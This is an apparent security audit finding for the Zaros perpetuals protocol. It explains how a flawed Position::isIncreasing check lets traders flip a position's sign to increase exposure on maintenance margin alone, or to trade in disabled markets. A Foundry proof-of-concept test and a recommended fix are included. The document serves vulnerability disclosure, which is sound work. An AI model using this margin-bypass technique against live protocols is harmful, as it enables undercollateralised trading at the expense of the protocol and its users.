Summary
Due to wrong checks performed in Position::isIncreasing:
function isIncreasing(
uint128 tradingAccountId,
uint128 marketId,
int128 sizeDelta
)
internal
view
returns (bool)
{
Data storage self = Position.load(tradingAccountId, marketId);
return self.size == 0 || (self.size > 0 && sizeDelta > 0) || (self.size < 0 && sizeDelta < 0);
}
Traders can game the market and either increase their position using their maintenance margin or increase their position in a removed market, instead of the desired outcome only to decrease them.
Vulnerability Details
When we have an order that inverses it’s sign and continues to increase above zero, usually this order is stated to be increasing the position, but this scenario is not being handled in Zaros and positions that increase their absolute value, for example, from -5 short to 5 long or any other combination will still be counted as decrease. This will allow traders to inverse/increase their position and using their maintenance margin instead of initial which is the right one, when it comes to position increase.
OrderBranch.sol
function createMarketOrder(CreateMarketOrderParams calldata params) external {
..MORE CODE
if (ctx.isIncreasing) {
globalConfiguration.checkMarketIsEnabled(params.marketId);
settlementConfiguration.checkIsSettlementEnabled();
}
...MORE CODE
ctx.shouldUseMaintenanceMargin = !Position.isIncreasing(params.tradingAccountId, params.marketId, params.sizeDelta)
&& ctx.isMarketWithActivePosition;
ctx.requiredMarginUsdX18 =
ctx.shouldUseMaintenanceMargin ? ctx.requiredMaintenanceMarginUsdX18 : ctx.requiredInitialMarginUsdX18;
tradingAccount.validateMarginRequirement(
ctx.requiredMarginUsdX18, ctx.marginBalanceUsdX18, ctx.orderFeeUsdX18.add(ctx.settlementFeeUsdX18)
);
}
Here is a POC which showcases how user open 100 tokens long position, then inverse it to -250 tokens short and his margin balance is lower than initial margin requirement:
forge test --match-test test_maintenance_margin_used_for_increase
file: CreateMarketOrder_Integration_Test
function test_maintenance_margin_used_for_increase() public {
uint128 marketId = 2;
MarketConfig memory marketConfig = getFuzzMarketConfig(marketId);
deal({ token: address(usdz), to: users.naruto.account, give: 100_000e18 });
(
UD60x18 initialMarginUsdX18,
UD60x18 maintenanceMarginUsdX18,
UD60x18 orderFeeUsdX18,
UD60x18 settlementFeeUsdX18
) = perpsEngine.getMarginRequirementForTrade(
marketId, 100e18, SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID
);
uint128 tAcc = createAccountAndDeposit(
initialMarginUsdX18.intoUint256() + orderFeeUsdX18.intoUint256() + settlementFeeUsdX18.intoUint256(),
address(usdz)
);
changePrank({ msgSender: users.naruto.account });
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({ tradingAccountId: tAcc, marketId: marketId, sizeDelta: 100e18 })
);
bytes memory mockSignedReport = getMockedSignedReport(marketConfig.streamId, marketConfig.mockUsdPrice);
address marketOrderKeeper = marketOrderKeepers[marketConfig.marketId];
changePrank({ msgSender: marketOrderKeeper });
perpsEngine.fillMarketOrder(tAcc, marketConfig.marketId, mockSignedReport);
(initialMarginUsdX18, maintenanceMarginUsdX18, orderFeeUsdX18, settlementFeeUsdX18) = perpsEngine
.getMarginRequirementForTrade(marketId, -150e18, SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID);
changePrank({ msgSender: users.naruto.account });
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({ tradingAccountId: tAcc, marketId: marketId, sizeDelta: -250e18 })
);
(SD59x18 marginBalanceUsdX18,, UD60x18 maintenanceMarginUsdX18Acc,) =
perpsEngine.getAccountMarginBreakdown(tAcc);
assertLt(marginBalanceUsdX18.intoUint256(), initialMarginUsdX18.intoUint256());
assertGt(marginBalanceUsdX18.intoUint256(), maintenanceMarginUsdX18Acc.intoUint256());
}
Impact
Traders will be able to increase their positions using their maintenance balance and also open positions in disabled markets.
Tools Used
Manual Review
Recommendations
Modify the Position::isIncreasing to handle the scenario which inverses the sign of a position.
